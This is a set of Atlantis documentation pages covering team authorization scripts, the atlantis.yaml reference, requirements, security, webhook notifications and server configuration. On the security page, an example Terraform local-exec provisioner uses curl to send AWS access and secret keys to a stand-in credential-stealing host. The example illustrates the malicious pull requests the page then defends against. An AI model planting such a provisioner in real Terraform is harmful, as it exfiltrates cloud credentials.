configure a global set of permissions that apply to all repositories. For most use cases, this should be sufficient. ::: warning If you are using [policy checking](policy-checking.md), you must also allowlist the `policy_check` command: ```bash --gh-team-allowlist="*:plan,*:policy_check,myteam:apply" ``` `policy_check` is an internal command that runs automatically after `plan`. Without allowlisting it, manual `atlantis plan` commands will skip policy checks (though autoplans will still work). See [Policy Checking](policy-checking.md#step-1-enable-the-workflow) for details. ::: ### External command For administrators that require more granular and specific permission definitions, an external command can be defined in the [server side repo configuration](server-side-repo-config.md#teamauthz). This command will receive information about the command, repo, project, and GitHub teams the user is a member of, allowing administrators to integrate the permissions validation with other systems or business requirements. An example would be allowing users to apply changes to lower environments like dev and test environments while restricting changes to production or other sensitive environments. ::: warning These options are mutually exclusive. If an external command is defined, the `--gh-team-allowlist` option is ignored. ::: ## Example ### Restrict production changes This example shows a simple example of how a script could be used to restrict production changes to a specific team, while allowing anyone to work on other environments. For brevity, this example assumes each user is a member of a single team. `server-side-repo-config.yaml` ```yaml team_authz: command: "/scripts/example.sh" ``` `example.sh` ```shell #!/bin/bash # Define name of team allowed to make production changes PROD_TEAM="example-org/prod-deployers" # Set variables from command-line arguments for convenience COMMAND="$1" REPO="$2" TEAM="$3" # Check if we are running the 'apply' command on prod if [ "${COMMAND}" == "apply" -a "${PROJECT_NAME}" == "prod" ] then # Only the prod team can make this change if [ "${TEAM}" == "${PROD_TEAM}" ] then echo "pass" exit 0 fi # Print reason for failing and exit echo "user \"${USER_NAME}\" must be a member of \"${PROD_TEAM}\" to apply changes to production." exit 0 fi # Any other command and environment is okay echo "pass" exit 0 ``` ## Reference ### External Command Execution External commands are executed on every authorization check with arguments and environment variables containing context about the command being checked. The command is executed using the following format: ```shell external_command [external_args...] atlantis_command repo [teams...] ``` | Key | Optional | Description | |--------------------|----------|-------------------------------------------------------------------------------------------| | `external_command` | no | Command defined in [server side repo configuration](server-side-repo-config.md) | | `external_args` | yes | Command arguments defined in [server side repo configuration](server-side-repo-config.md) | | `atlantis_command` | no | The atlantis command being run (`plan`, `apply`, etc) | | `repo` | no | The full name of the repo being executed (format: `owner/repo_name`) | | `teams` | yes | A list of zero or more teams of the user executing the command | The following environment variables are passed to the command on every execution: | Key | Description | |----------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | `BASE_REPO_NAME` | Name of the repository that the pull request will be merged into, ex. `atlantis`. | | `BASE_REPO_OWNER` | Owner of the repository that the pull request will be merged into, ex. `runatlantis`. | | `COMMAND_NAME` | The name of the command that is being executed, i.e. `plan`, `apply` etc. | | `USER_NAME` | Username of the VCS user running command, ex. `acme-user`. During an autoplan, the user will be the Atlantis API user, ex. `atlantis`. | The following environment variables are also passed to the command when checking project authorization: | Key | Description | |----------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | `BASE_BRANCH_NAME` | Name of the base branch of the pull request (the branch that the pull request is getting merged into) | | `COMMENT_ARGS` | Any additional flags passed in the comment on the pull request. Flags are separated by commas and every character is escaped, ex. `atlantis plan -- arg1 arg2` will result in `COMMENT_ARGS=\a\r\g\1,\a\r\g\2`. | | `HEAD_REPO_NAME` | Name of the repository that is getting merged into the base repository, ex. `atlantis`. | | `HEAD_REPO_OWNER` | Owner of the repository that is getting merged into the base repository, ex. `acme-corp`. | | `HEAD_BRANCH_NAME` | Name of the head branch of the pull request (the branch that is getting merged into the base) | | `HEAD_COMMIT` | The sha256 that points to the head of the branch that is being pull requested into the base. If the pull request is from Bitbucket Cloud the string will only be 12 characters long because Bitbucket Cloud truncates its commit IDs. | | `PROJECT_NAME` | Name of the project the command is being executed on | | `PULL_NUM` | Pull request number or ID, ex. `2`. | | `PULL_URL` | Pull request URL, ex. `https://github.com/runatlantis/atlantis/pull/2`. | | `PULL_AUTHOR` | Username of the pull request author, ex. `acme-user`. | | `REPO_ROOT` | The absolute path to the root of the cloned repository. | | `REPO_REL_PATH` | Path to the project relative to `REPO_ROOT` | ### External Command Result Handling Atlantis determines if a user is authorized to run the requested command by checking if the external command exited with code `0` and if the last line of output is `pass`. ```text # Pseudo-code of Atlantis evaluation of external commands user_authorized = external_command.exit_code == 0 && external_command.output.last_line == 'pass' ``` ::: tip * A non-zero exit code means the command failed to evaluate the request for some reason (bad configuration, missing dependencies, solar flares, etc). * If the command was able to run successfully, but determined the user is not authorized, it should still exit with code `0`. * The command output could contain the reasoning for the authorization failure. ::: ================================================ FILE: runatlantis.io/docs/repo-level-atlantis-yaml.md ================================================ # Repo Level atlantis.yaml Config An `atlantis.yaml` file specified at the root of a Terraform repo allows you to instruct Atlantis on the structure of your repo and set custom workflows. ## Do I need an atlantis.yaml file? `atlantis.yaml` files are only required if you wish to customize some aspect of Atlantis. The default Atlantis config works for many users without changes. Read through the [use-cases](#use-cases) to determine if you need it. ## Enabling atlantis.yaml By default, all repos are allowed to have an `atlantis.yaml` file, but some of the keys are restricted by default. Restricted keys can be set in the server-side `repos.yaml` repo config file. You can enable `atlantis.yaml` to override restricted keys by setting the `allowed_overrides` key there. See the [Server Side Repo Config](server-side-repo-config.md) for more details. **Notes:** - By default, repo root `atlantis.yaml` file is used. - You can change this behaviour by setting [Server Side Repo Config](server-side-repo-config.md) ::: danger DANGER Atlantis uses the `atlantis.yaml` version from the pull request, similar to other CI/CD systems. If you're allowing users to [create custom workflows](server-side-repo-config.md#allow-repos-to-define-their-own-workflows) then this means anyone that can create a pull request to your repo can run arbitrary code on the Atlantis server. By default, this is not allowed. ::: ::: warning Once an `atlantis.yaml` file exists in a repo and one or more `projects` are configured, Atlantis won't try to determine where to run plan automatically. Instead it will just follow the project configuration. This means that you'll need to define each project in your repo. If you have many directories with Terraform configuration, each directory will need to be defined. This behavior can be overridden by setting `autodiscover.mode` to `enabled` in which case Atlantis will still try to discover projects which were not explicitly configured. If the directory of any discovered project conflicts with a manually configured project, the manually configured project will take precedence. ::: ## Example Using All Keys ```yaml version: 3 # Available since v0.1.0 automerge: true # Available since v0.15.0 autodiscover: # Available since v0.18.0 mode: auto ignore_paths: - some/path delete_source_branch_on_merge: true # Available since v0.15.0 parallel_plan: true # Available since v0.17.0 parallel_apply: true # Available since v0.17.0 abort_on_execution_order_fail: true # Available since v0.17.0 projects: - name: my-project-name # Available since v0.1.0 branch: /main/ # Available since v0.21.0 dir: . # Available since v0.1.0 workspace: default # Available since v0.1.0 terraform_distribution: terraform # Available since v0.33.0 terraform_version: v0.11.0 # Available since v0.1.0 delete_source_branch_on_merge: true # Available since v0.17.0 repo_locking: true # deprecated: use repo_locks instead, Available since v0.17.0 repo_locks: # Available since v0.17.0 mode: on_plan custom_policy_check: false # Available since v0.17.0 autoplan: # Available since v0.1.0 when_modified: ["*.tf", "../modules/**/*.tf", ".terraform.lock.hcl"] enabled: true plan_requirements: [mergeable, approved, undiverged] # Available since v0.17.0 apply_requirements: [mergeable, approved, undiverged] # Available since v0.17.0 import_requirements: [mergeable, approved, undiverged] # Available since v0.17.0 silence_pr_comments: ["apply"] # Available since v0.17.0 execution_order_group: 1 # Available since v0.17.0 depends_on: # Available since v0.20.0 - project-1 workflow: myworkflow # Available since v0.17.0 workflows: # Available since v0.1.0 myworkflow: plan: steps: - run: my-custom-command arg1 arg2 - run: command: my-custom-command arg1 arg2 output: hide - init - plan: extra_args: ["-lock", "false"] - run: my-custom-command arg1 arg2 apply: steps: - run: echo hi - apply allowed_regexp_prefixes: # Available since v0.19.0 - dev/ - staging/ ``` ## Example of DRYing up projects using YAML anchors ```yaml projects: - &template name: template dir: template workflow: custom autoplan: enabled: true when_modified: - "./terraform/modules/**/*.tf" - "**/*.tf" - ".terraform.lock.hcl" - <<: *template name: ue1-prod-titan dir: ./terraform/titan workspace: ue1-prod - <<: *template name: ue1-stage-titan dir: ./terraform/titan workspace: ue1-stage - <<: *template name: ue1-dev-titan dir: ./terraform/titan workspace: ue1-dev ``` ## Auto generate projects This is useful if you have many projects in a repository. This assumes the `default` workspace (or no workspace). Run this in the root of your repository. This will use gnu `grep` to search terraform files for an S3 backend (terraform dir), retrieve the directory path, retrieve the unique entries, and then use `yq` to return the YAML of a simple project dir setup which can then be modified to your liking. ```sh grep -P 'backend[\s]+"s3"' **/*.tf | rev | cut -d'/' -f2- | rev | sort | uniq | while read d; do \ echo '[ {"name": "'"$d"'","dir": "'"$d"'", "autoplan": {"when_modified": ["**/*.tf.*"] }} ]' | yq -PM; \ done ``` ## Use Cases ### Disabling Autoplanning ```yaml version: 3 projects: - dir: project1 autoplan: enabled: false ``` This will stop Atlantis automatically running plan when `project1/` is updated in a pull request. ### Run plans and applies in parallel ```yaml version: 3 parallel_plan: true parallel_apply: true ``` This will run plans and applies for all of your projects in parallel. Enabling these options can significantly reduce the duration of plans and applies, especially for repositories with many projects. Use the `--parallel-pool-size` to configure the max number of plans and applies that can run in parallel. The default is 15. Parallel plans and applies work across both multiple directories and multiple workspaces. ### Configuring Planning Given the directory structure: ```plain . ├── modules │   └── module1 │   ├── main.tf │   ├── outputs.tf │   └── submodule │   ├── main.tf │   └── outputs.tf └── project1 └── main.tf ``` If you want Atlantis to plan `project1/` whenever any `.tf` files under `module1/` change or any `.tf` or `.tfvars` files under `project1/` change you could use the following configuration: ```yaml version: 3 projects: - dir: project1 autoplan: when_modified: ["../modules/**/*.tf", "*.tf*", ".terraform.lock.hcl"] ``` Note: - `when_modified` uses the [`.dockerignore` syntax](https://docs.docker.com/engine/reference/builder/#dockerignore-file) - The paths are relative to the project's directory. - `when_modified` will be used by both automatic and manually run plans. - `when_modified` will continue to work for manually run plans even when autoplan is disabled. ### Supporting Terraform Workspaces ```yaml version: 3 projects: - dir: project1 workspace: staging - dir: project1 workspace: production ``` With the above config, when Atlantis determines that the configuration for the `project1` dir has changed, it will run plan for both the `staging` and `production` workspaces. If you want to `plan` or `apply` for a specific workspace you can use ```shell atlantis plan -w staging -d project1 ``` and ```shell atlantis apply -w staging -d project1 ``` ### Using .tfvars files See [Custom Workflow Use Cases: Using .tfvars files](custom-workflows.md#tfvars-files) ### Adding extra arguments to Terraform commands See [Custom Workflow Use Cases: Adding extra arguments to Terraform commands](custom-workflows.md#adding-extra-arguments-to-terraform-commands) ### Custom init/plan/apply Commands See [Custom Workflow Use Cases: Custom init/plan/apply Commands](custom-workflows.md#custom-init-plan-apply-commands) ### Terragrunt See [Custom Workflow Use Cases: Terragrunt](custom-workflows.md#terragrunt) ### Running custom commands See [Custom Workflow Use Cases: Running custom commands](custom-workflows.md#running-custom-commands) ### Terraform Distributions If you'd like to use a different distribution of Terraform than what is set by the `--default-tf-version` flag, then set the `terraform_distribution` key: ```yaml version: 3 projects: - dir: project1 terraform_distribution: opentofu ``` Atlantis will automatically download and use this distribution. Valid values are `terraform` and `opentofu`. ### Terraform Versions If you'd like to use a different version of Terraform than what is in Atlantis' `PATH` or is set by the `--default-tf-version` flag, then set the `terraform_version` key: ```yaml version: 3 projects: - dir: project1 terraform_version: 0.10.0 ``` Atlantis will automatically download and use this version. ### Requiring Approvals For Production In this example, we only want to require `apply` approvals for the `production` directory. ```yaml version: 3 projects: - dir: staging - dir: production plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] ``` :::warning `plan_requirements`, `apply_requirements` and `import_requirements` are restricted keys so this repo will need to be configured to be allowed to set this key. See [Server-Side Repo Config Use Cases](server-side-repo-config.md#repos-can-set-their-own-apply-requirements). ::: ### Order of planning/applying ```yaml version: 3 abort_on_execution_order_fail: true projects: - dir: project1 execution_order_group: 2 - dir: project2 execution_order_group: 1 ``` With this config above, Atlantis runs planning/applying for project2 first, then for project1. Several projects can have same `execution_order_group`. Any order in one group isn't guaranteed. `parallel_plan` and `parallel_apply` respect these order groups, so parallel planning/applying works in each group one by one. If any plan/apply fails and `abort_on_execution_order_fail` is set to true on a repo level, all the following groups will be aborted. For this example, if project2 fails then project1 will not run. Execution order groups are useful when you have dependencies between projects. However, they are only applicable in the case where you initiate a global apply for all of your projects, i.e `atlantis apply`. If you initiate an apply on a single project, then the execution order groups are ignored. Thus, the `depends_on` key is more useful in this case. and can be used in conjunction with execution order groups. The following configuration is an example of how to use execution order groups and depends_on together to enforce dependencies between projects. ```yaml version: 3 projects: - name: development dir: . autoplan: when_modified: ["*.tf", "vars/development.tfvars"] execution_order_group: 1 workspace: development workflow: infra - name: staging dir: . autoplan: when_modified: ["*.tf", "vars/staging.tfvars"] depends_on: ["development"] execution_order_group: 2 workspace: staging workflow: infra - name: production dir: . autoplan: when_modified: ["*.tf", "vars/production.tfvars"] depends_on: ["staging"] execution_order_group: 3 workspace: production workflow: infra ``` the `depends_on` feature will make sure that `production` is not applied before `staging` for example. ::: tip What Happens if one or more project's dependencies are not applied? If there's one or more projects in the dependency list which is not in applied status, users will see an error message like this: `Can't apply your project unless you apply its dependencies` ::: ### Autodiscovery Config ```yaml autodiscover: mode: "auto" ``` The above is the default configuration for `autodiscover.mode`. When `autodiscover.mode` is auto, projects will be discovered only if the repo has no `projects` configured. ```yaml autodiscover: mode: "disabled" ``` With the config above, Atlantis will never try to discover projects, even when there are no `projects` configured. This is useful if dynamically generating Atlantis config in pre_workflow hooks. See [Dynamic Repo Config Generation](pre-workflow-hooks.md#dynamic-repo-config-generation). ```yaml autodiscover: mode: "enabled" ``` With the config above, Atlantis will unconditionally try to discover projects based on modified_files, even when the directory of the project is missing from the configured `projects` in the repo configuration. If a discovered project has the same directory as a project which was manually configured in `projects`, the manual configuration will take precedence. Use this feature when some projects require specific configuration in a repo with many projects yet it's still desirable for Atlantis to plan/apply for projects not enumerated in the config. This setting is ignored if it is configured on the server, see [Server Side Repo Config](server-side-repo-config.md#repo) ```yaml autodiscover: mode: "enabled" ignore_paths: - dir/* ``` Autodiscover can also be configured to skip over directories that match a path glob (as defined [here](https://pkg.go.dev/github.com/bmatcuk/doublestar/v4)) ### Custom Backend Config See [Custom Workflow Use Cases: Custom Backend Config](custom-workflows.md#custom-backend-config) ## Reference ### Top-Level Keys ```yaml version: 3 automerge: false delete_source_branch_on_merge: false projects: workflows: allowed_regexp_prefixes: ``` | Key | Type | Default | Required | Description | | ----------------------------- | ------------------------------------------------------ | ------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------- | | version | int | none | **yes** | This key is required and must be set to `3`. | | automerge | bool | `false` | no | Automatically merges pull request when all plans are applied. | | delete_source_branch_on_merge | bool | `false` | no | Automatically deletes the source branch on merge. | | projects | array[[Project](repo-level-atlantis-yaml.md#project)] | `[]` | no | Lists the projects in this repo. | | workflows
_(restricted)_ | map[string: [Workflow](custom-workflows.md#reference)] | `{}` | no | Custom workflows. | | allowed_regexp_prefixes | array\[string\] | `[]` | no | Lists the allowed regexp prefixes to use when the [`--enable-regexp-cmd`](server-configuration.md#enable-regexp-cmd) flag is used. | ### Project ```yaml name: myname branch: /mybranch/ dir: mydir workspace: myworkspace execution_order_group: 0 delete_source_branch_on_merge: false repo_locking: true # deprecated: use repo_locks instead repo_locks: mode: on_plan custom_policy_check: false autoplan: terraform_version: 0.11.0 plan_requirements: ["approved"] apply_requirements: ["approved"] import_requirements: ["approved"] silence_pr_comments: ["apply"] workflow: myworkflow ``` | Key | Type | Default | Required | Description | | --------------------------------------- | ----------------------- | --------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | name | string | none | maybe | Required if there is more than one project with the same `dir` and `workspace`. This project name can be used with the `-p` flag. | | branch | string | none | no | Regex matching projects by the base branch of pull request (the branch the pull request is getting merged into). Only projects that match the PR's branch will be considered. By default, all branches are matched. | | dir | string | none | **yes** | The directory of this project relative to the repo root. For example if the project was under `./project1` then use `project1`. Use `.` to indicate the repo root. | | workspace | string | `"default"` | no | The [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces) for this project. Atlantis will switch to this workspace when planning/applying and will create it if it doesn't exist. | | execution_order_group | int | `0` | no | Index of execution order group. Projects will be sorted by this field before planning/applying. | | delete_source_branch_on_merge | bool | `false` | no | Automatically deletes the source branch on merge. | | repo_locking | bool | `true` | no | (deprecated) Get a repository lock in this project when plan. | | repo_locks | [RepoLocks](#repolocks) | `mode: on_plan` | no | Get a repository lock in this project on plan or apply. See [RepoLocks](#repolocks) for more details. | | custom_policy_check | bool | `false` | no | Enable using policy check tools other than Conftest | | autoplan | [Autoplan](#autoplan) | none | no | A custom autoplan configuration. If not specified, will use the autoplan config. See [Autoplanning](autoplanning.md). | | terraform_version | string | none | no | A specific Terraform version to use when running commands for this project. Must be [Semver compatible](https://semver.org/), ex. `v0.11.0`, `0.12.0-beta1`. | | plan_requirements
_(restricted)_ | array\[string\] | none | no | Requirements that must be satisfied before `atlantis plan` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](command-requirements.md) for more details. | | apply_requirements
_(restricted)_ | array\[string\] | none | no | Requirements that must be satisfied before `atlantis apply` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](command-requirements.md) for more details. | | import_requirements
_(restricted)_ | array\[string\] | none | no | Requirements that must be satisfied before `atlantis import` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](command-requirements.md) for more details. | | silence_pr_comments | array\[string\] | none | no | Silence PR comments from defined stages while preserving PR status checks. Supported values are: `plan`, `apply`. | | workflow
_(restricted)_ | string | none | no | A custom workflow. If not specified, Atlantis will use its default workflow. | ::: tip A project represents a Terraform state. Typically, there is one state per directory and workspace however it's possible to have multiple states in the same directory using `terraform init -backend-config=custom-config.tfvars`. Atlantis supports this but requires the `name` key to be specified. See [Custom Backend Config](custom-workflows.md#custom-backend-config) for more details. ::: ### Autoplan ```yaml enabled: true when_modified: ["*.tf", "terragrunt.hcl", ".terraform.lock.hcl"] ``` | Key | Type | Default | Required | Description | | ------------- | --------------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | enabled | boolean | `true` | no | Whether autoplanning is enabled for this project. | | when_modified | array\[string\] | `["**/*.tf*"]` | no | Uses [.dockerignore](https://docs.docker.com/engine/reference/builder/#dockerignore-file) syntax. If any modified file in the pull request matches, this project will be planned. See [Autoplanning](autoplanning.md). Paths are relative to the project's dir. | ### RepoLocks ```yaml mode: on_apply ``` | Key | Type | Default | Required | Description | | ---- | ------ | --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------- | | mode | `Mode` | `on_plan` | no | Whether or not repository locks are enabled for this project on plan or apply. Valid values are `disabled`, `on_plan` and `on_apply`. | ================================================ FILE: runatlantis.io/docs/requirements.md ================================================ # Requirements Atlantis works with most Git hosts and Terraform setups. Read on to confirm it works with yours. ## Git Host Atlantis integrates with the following Git hosts: * GitHub (public, private or enterprise) * GitLab (public, private or enterprise) * Gitea (public, private and compatible forks like Forgejo) * Bitbucket Cloud aka bitbucket.org (public or private) * Bitbucket Server aka Stash * Azure DevOps ## Terraform State Atlantis supports all backend types **except for local state**. We don't support local state because Atlantis does not have permanent storage and it doesn't commit the new statefile back to version control. :::tip If you're looking for an easy remote state solution, check out [free remote state](https://app.terraform.io) storage from Terraform Cloud. This is fully supported by Atlantis. ::: ## Repository Structure Atlantis supports any Terraform repository structure, for example: ### Single Terraform Project At Repo Root ```plain . ├── main.tf └── ... ``` ### Multiple Project Folders ```plain . ├── project1 │   ├── main.tf | └── ... └── project2    ├── main.tf └── ... ``` ### Modules ```plain . ├── project1 │   ├── main.tf | └── ... └── modules    └── module1    ├── main.tf └── ... ``` With modules, if you want `project1` automatically planned when `module1` is modified you need to create an `atlantis.yaml` file. See [atlantis.yaml Use Cases](repo-level-atlantis-yaml.md#configuring-planning) for more details. ### Terraform Workspaces *See [Terraform's docs](https://developer.hashicorp.com/terraform/language/state/workspaces) if you are unfamiliar with workspaces.* If you're using Terraform `>= 0.9.0`, Atlantis supports workspaces through an `atlantis.yaml` file that tells Atlantis the names of your workspaces (see [atlantis.yaml Use Cases](repo-level-atlantis-yaml.md#supporting-terraform-workspaces) for more details) ### .tfvars Files ```plain . ├── production.tfvars │── staging.tfvars └── main.tf ``` Atlantis supports `.tfvars` files in two ways: #### Automatic env/{workspace}.tfvars files Atlantis automatically includes workspace-specific variable files if they exist in an `env/` directory: ```plain . ├── main.tf ├── variables.tf └── env/ ├── default.tfvars ├── staging.tfvars └── production.tfvars ``` When using this structure, Atlantis will automatically include the appropriate file based on the workspace: * `atlantis plan` includes `env/default.tfvars` * `atlantis plan -w staging` includes `env/staging.tfvars` * `atlantis plan -w production` includes `env/production.tfvars` This requires no additional configuration and works automatically. #### Custom .tfvars files with atlantis.yaml For other `.tfvars` file locations or structures, you need to create an `atlantis.yaml` file to tell Atlantis to use `-var-file={YOUR_FILE}`. See [atlantis.yaml Use Cases](custom-workflows.md#tfvars-files) for more details. ### Multiple Repos Atlantis supports multiple repos as well–as long as there is a webhook configured for each repo. ## Terraform Versions Atlantis supports all Terraform versions (including 0.12) and can be configured to use different versions for different repositories/projects. See [Terraform Versions](terraform-versions.md). ## Next Steps * If your Terraform setup meets the Atlantis requirements, continue the installation guide and set up your [Git Host Access Credentials](access-credentials.md) ================================================ FILE: runatlantis.io/docs/security.md ================================================ # Security ## Exploits Because you usually run Atlantis on a server with credentials that allow access to your infrastructure it's important that you deploy Atlantis securely. Atlantis could be exploited by * An attacker submitting a pull request that contains a malicious Terraform file that uses a malicious provider or an [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) that Atlantis then runs `terraform plan` on (which it does automatically unless you've turned off automatic plans). * Running `terraform apply` on a malicious Terraform file with [local-exec](https://developer.hashicorp.com/terraform/language/resources/provisioners/local-exec) ```tf resource "null_resource" "null" { provisioner "local-exec" { command = "curl https://cred-stealer.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" } } ``` * Running malicious custom build commands specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** `main`. * Someone adding `atlantis plan/apply` comments on your valid pull requests causing terraform to run when you don't want it to. ## Mitigations ### Don't Use On Public Repos Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings. ### Don't Use `--allow-fork-prs` If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo. ### `--repo-allowlist` Atlantis requires you to specify an allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example: * Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` * Your whole organization: `--repo-allowlist=github.com/runatlantis/*` * Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*` * You can also omit specific repos: `--repo-allowlist='github.com/runatlantis/*,!github.com/runatlantis/untrusted-repo'` * All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret. This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details. ### Protect Terraform Planning If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials. To prevent this, you could: 1. Bake providers into the Atlantis image or host and deny egress in production. 1. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry. 1. Modify your [server-side repo configuration](server-side-repo-config.md)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here. ### `--var-file-allowlist` The files on your Atlantis install may be accessible as [variable definition files](https://developer.hashicorp.com/terraform/language/values/variables#variable-definitions-tfvars-files) from pull requests by adding `atlantis plan -- -var-file=/path/to/file` comments. To mitigate this security risk, Atlantis has limited such access only to the files allowlisted by the `--var-file-allowlist` flag. If this argument is not provided, it defaults to Atlantis' data directory. ### Webhook Secrets Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab). :::tip Tip If you are using Azure DevOps, instead of webhook secrets add a [basic username and password](#azure-devops-basic-authentication) ::: ### Azure DevOps Basic Authentication Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location. ### SSL/HTTPS If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags. ### Enable Authentication on Atlantis Web Server It is highly recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and set up a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags. You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`. :::tip Tip We do encourage the usage of complex passwords in order to prevent basic bruteforcing attacks. ::: ================================================ FILE: runatlantis.io/docs/sending-notifications-via-webhooks.md ================================================ # Sending notifications via webhooks It is possible to send notifications to external systems whenever an apply is being done. You can make requests to any HTTP endpoint or send messages directly to your Slack channel. ::: tip NOTE Currently only `apply` events are supported. ::: ## Configuration Webhooks are configured in Atlantis [server-side configuration](server-configuration.md). There can be many webhooks: sending notifications to different destinations or for different workspaces/branches. Here is example configuration to send Slack messages for every apply: ```yaml webhooks: - event: apply kind: slack channel: my-channel-id ``` If you are deploying Atlantis as a Helm chart, this can be implemented via the `config` parameter available for [chart customizations](https://github.com/runatlantis/helm-charts#customization): ```yaml ## Use Server Side Config, ## ref: https://www.runatlantis.io/docs/server-configuration.html config: | --- webhooks: - event: apply kind: slack channel: my-channel-id ``` ### Filter on workspace/branch To limit notifications to particular workspaces or branches, use `workspace-regex` or `branch-regex` parameters. If the workspace **and** branch matches respective regex, an event will be sent. Note that empty regular expression (a result of unset parameter) matches every string. ## Using HTTP webhooks You can send POST requests with JSON payload to any HTTP/HTTPS server. ### Configuring Atlantis In your Atlantis [server-side configuration](server-configuration.md) you can add the following: ```yaml webhooks: - event: apply kind: http url: https://example.com/hooks ``` The `apply` event information will be POSTed to `https://example.com/hooks`. You can supply any additional headers with `--webhook-http-headers` parameter (or environment variable), for example for authentication purposes. See [webhook-http-headers](server-configuration.md#webhook-http-headers) for details. ### JSON payload The payload is a JSON-marshalled [ApplyResult](https://pkg.go.dev/github.com/runatlantis/atlantis/server/events/webhooks#ApplyResult) struct. Example payload: ```json { "Workspace": "default", "Repo": { "FullName": "octocat/Hello-World", "Owner": "octocat", "Name": "Hello-World", "CloneURL": "https://:@github.com/octocat/Hello-World.git", "SanitizedCloneURL": "https://:@github.com/octocat/Hello-World.git", "VCSHost": { "Hostname": "github.com", "Type": 0 } }, "Pull": { "Num": 2137, "HeadCommit": "7fd1a60b01f91b314f59955a4e4d4e80d8edf11d", "URL": "https://github.com/octocat/Hello-World/pull/2137", "HeadBranch": "feature/some-branch", "BaseBranch": "main", "Author": "octocat", "State": 0, "BaseRepo": { "FullName": "octocat/Hello-World", "Owner": "octocat", "Name": "Hello-World", "CloneURL": "https://:@github.com/octocat/Hello-World.git", "SanitizedCloneURL": "https://:@github.com/octocat/Hello-World.git", "VCSHost": { "Hostname": "github.com", "Type": 0 } } }, "User": { "Username": "octocat", "Teams": null }, "Success": true, "Directory": "terraform/example", "ProjectName": "example-project" } ``` ## Using Slack hooks For this you'll need to: * Create a Bot user in Slack * Configure Atlantis to send notifications to Slack. ### Configuring Slack for Atlantis * Go to [Slack: Apps](https://api.slack.com/apps) * Click the `Create New App` button * Select `From scratch` in the dialog that opens * Give it a name, e.g. `atlantis-bot`. * Select your Slack workspace * Click `Create App` * On the left go to `oAuth & Permissions` * Scroll down to Scopes | Bot Token Scopes and add the following OAuth scopes: * `channels:read` * `chat:write` * `groups:read` * `incoming-webhook` * `mpim:read` * Install the app onto your Slack workspace * Copy the `Bot User OAuth Token` and provide it to Atlantis by using `--slack-token=xoxb-xxxxxxxxxxx` or via the environment `ATLANTIS_SLACK_TOKEN=xoxb-xxxxxxxxxxx`. * Create a channel in your Slack workspace (e.g. `my-channel`) or use existing * Add the app to Created channel or existing channel ( click channel name then tab integrations, there Click "Add apps" ### Configuring Atlantis After following the above steps it is time to configure Atlantis. Assuming you have already provided the `slack-token` (via parameter or environment variable) you can now instruct Atlantis to send `apply` events to Slack. In your Atlantis [server-side configuration](server-configuration.md) you can now add the following: ```yaml webhooks: - event: apply kind: slack channel: my-channel-id ``` ================================================ FILE: runatlantis.io/docs/server-configuration.md ================================================ # Server Configuration This page explains how to configure the `atlantis server` command. Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three. ## Environment Variables All flags can be specified as environment variables. 1. Take the flag name, ex. `--gh-user` 1. Ignore the first `--` => `gh-user` 1. Convert the `-`'s to `_`'s => `gh_user` 1. Uppercase all the letters => `GH_USER` 1. Prefix with `ATLANTIS_` => `ATLANTIS_GH_USER` ::: warning NOTE To set a boolean flag use `true` or `false` as the value. ::: ::: warning NOTE The flag `--atlantis-url` is set by the environment variable `ATLANTIS_ATLANTIS_URL` **NOT** `ATLANTIS_URL`. ::: ## Config File All flags can also be specified via a YAML config file. To use a YAML config file, run `atlantis server --config /path/to/config.yaml`. The keys of your config file should be the same as the flag names, ex. ```yaml gh-token: ... log-level: ... ``` ::: warning The config file you pass to `--config` is different from the `--repo-config` file. The `--config` config file is only used as an alternate way of setting `atlantis server` flags. ::: ## Precedence Values 